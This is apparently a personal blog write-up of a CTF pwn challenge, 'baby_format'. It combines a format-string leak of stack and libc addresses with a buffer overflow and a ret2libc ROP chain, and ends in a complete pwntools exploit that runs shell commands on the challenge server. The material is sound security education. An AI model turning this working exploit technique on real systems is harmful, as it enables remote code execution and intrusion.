Damjan Cvetko

Damjan Cvetko

Developer, System Architect, Hacker.

7 minutes read

Challenge: Santa’s elves fixed some formatting errors from the old app, but he might have introduced some new bugs. Can you find them?

elfs.owasp.si:40005

baby_format

This was another pwn type of challenge. However, as was later discussed, the organizers forgot to add a crucial file and so it was basically impossible to solve without help. Well, not impossible, but the difficulty level was orders of magnitude higher than anything else on here.

Lets first look at it with Ghidra. We have a main() that calls a vuln() and then a vuln2() function.

And the second function.

Observations? In vuln() we can see incorrect usage of printf(). The code passes whatever user sends to fgets(), this means we can abuse that.

In vuln2() we can again see buffer overflow. 112 bytes is allocated to buffer, but fgets() allows us to read 256 characters.

Judging from Day 17 we need to get the program to execute system("/bin/sh").

Now, at this point I did know the basic mechanics of x64 calling conventions and how to abuse the, but did not do much hands-on pwning. I found this article that explains this in great detail. The technique is called “return to libc”.

To explain it on high level, and backwards.

  1. Last thing that happens is code return to address of system libc function with firs parameter (address stored in RDI) pointing to a string "/bin/sh".

  2. We can store the address of the string to RDI with the help of a “ROP gadget”. A gadget is a set of instruction that ends with ret that we can abuse. Remember, the stack that is writable has execution protection, so we can’t just send a shellcode and execute it.

  3. Put the string "/bin/sh" somewhere in memory.

  4. Find the location of the stack and libc, because that gets “randomized” on every run.

Now for some tools. Firs and foremost:

GDB PEDA is a Python addon for GDB that makes life with GDB bearable.

ropper tool to find ROP gadgets.

Pwntools insanely useful Python library for this type of tasks.

Lets start with something simple. We will need a ROP gadget, to load an address from stack to RDI, to call system.

This address 0x0000000000400743 stays fixed as it is part of out binary.

Ok, now we need to figure out where our stack is. This is where that printf() comes in. How printf works is that you can give it a format string and depending on that it will take a certian number of arguments. In x64 calling convention the first 6 arguments are in registers (RDI, RSI, RDX, RCX, R8, R9) and after that up the stack. So by abusing printf() we can actually read thins from the stack and print them, thus getting a read time image of the memory. Since the stack location and libc location are randomized, we need to get that on every run, and this is why we also need pwntools to “interact” with the program.

Let’s try this out.

First lets break in in vuln()+56 just before calling printf() and then lets break on vuln2()+39 just before writing into the buffer.

And the before writing to buffer.

So the buffer on the stack is 0x7fffffffe8f0 and looking up the stack on the firs one we see an entry 0x7fffffffe970. This is the previous RBP, because the next is the return address to main(). That is always fixed relatively to what we need. So if we can read 0x7fffffffe970 we can calculate -0x10 to get the base of stack when vuln2() is called and another -0x70 for the buffer size and we end up wit the correct 0x7FFFFFFFE8F0 address that we can use to do some more magic later.

Another thing we can get with printf is an address in libc. That we need to call system().

Just by looking at the current system() address we can see what are good candidates:

gdb-peda$ p system
$3 = {int (const char *)} 0x7ffff7e489c0 <__libc_system>

Looking at the stack this seems interesting:

0056| 0x7fffffffe978 --> 0x7ffff7e2809b (<__libc_start_main+235>:       mov    edi,eax)

With this, we can calculate a fixed difference between a known point in libc and system().

Or can we…?

At this point the organizers mistake came to light. The issue is, you need to know exactly what version of libc you are running against, as these offsets will be different from version to version.

I was given a hint in this form: libc.nullbyte.cat.

This is a site that lets you search for functions in various libc versions. The query above is already the result of my work, what I got was the version of libc (libc6_2.27-3ubuntu1.4_amd64). I could download that version and inspect it, or what I did was figure out exactly what version of Ubuntu was using it and pulled a docker image with that and played inside it.

What I found out was the the offset in __libc_start_main was 231 and, as can be read from that page, the difference to system was 0x2da40.

So the process now, from start to finish:

  1. With printf get stack+32 and stack+56 with %10$p %13$p (10th and 13th pointers) to know where stack is and where libc is.
  2. Build a buffer that will overwrite the buffer and stored RBP (old base pointer)…
  3. Overwrite return address with the address or our gadget (0x0000000000400743, gadget pop rdi; ret;)
  4. Add the value that will be popped into RDI, that is an already calculated offset from the detected stack location to our string
  5. The actual command string

Before showing the code, there was another thing that was stopping me. Altho the code worked on my system it crashed when I ran it on Ubuntu.

It crashed somewhere inside system at a vector instruction.

   0x7f29632b73f6:      movq   xmm0,QWORD PTR [rsp+0x8]
   0x7f29632b73fc:      mov    QWORD PTR [rsp+0x8],rax
   0x7f29632b7401:      movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7f29632b7406:      movaps XMMWORD PTR [rsp+0x40],xmm0
   0x7f29632b740b:      call   0x7f29632a7230 <sigaction>

To quote from here:

The x86-64 System V ABI guarantees 16-byte stack alignment before a call, so libc system is allowed to take advantage of that for 16-byte aligned loads/stores. If you break the ABI, it’s your problem if things crash.

That was exactly what was happening here. To solve this, I just put another gadget (containing just ret) on the stack before calling system().

This is the end code:

from pwn import *

context(arch = 'amd64', os = 'linux', log_level = 'DEBUG')

io = remote("elfs.owasp.si", 40005)

buf = io.recvline()  # welcome back! What's your name again?
# get the data from stack
io.sendline('%10$p %13$p')

buf = io.recvline()

ar = buf.split()
adr = int(ar[2], 0)
print "Leak from stack: " + hex(adr)
print "Calculated start of buffer in vuln2 " + hex(adr - 0x10 - 0x70)

adr2 = int(ar[3], 0)
dif = -231 + 0x2da40
print "Leak from stack __libc_start_main + 231: " + hex(adr2)
print "Calculated system()  " + hex(adr2 + dif)

# Prepare command
#cmd = "id\0"
#cmd = "ls\0"
cmd = "cat flag.txt\0"
#cmd = "/bin/sh\0"

# buffer 112
io.send("A" * 112)

# overwrite stroed RBP
io.send(pack(0x0102030405060708))

# overwrite stored return with gadget 0x0000000000400743  // gadget pop rdi; ret;
io.send(pack(0x0000000000400743))

# address of command in stack buffer
# beginning of func stack + rbp, pop gadget, cmd addr, ret gadget, system, return
io.send(pack(adr - 0x10 + 8+8+8+8+8+8))

# gadget 0x0000000000400744  // gadget ret;
io.send(pack(0x0000000000400744))

# system() addr 0x7ffff7e489c0
io.send(pack(adr2 + dif))

# return address - unneeded actually
io.send(pack(0x0102030405060708))

# shell cmd
io.send(cmd)

io.send("\n")

#io.interactive()
print io.recvall()

Running that with different commands, or /bin/sh + interactive, gives back the needed results.

Flag: xmas{Crystals-Parade-0fda-Wooden-Soldiers}

What did I learn: Too much for one line.

First I learned about GDB PEDA. It actually really useful.
Then I learned about gadgets and tools to search for them.
I learned more about x64 asm, calling conventions…
I learned some more python and pwntools. I tried doing everything with PHP, but neglected to turn off buffering with stdbuf.
I used gdb in WSL! And that is saying something.

Recent posts

See more

Categories

About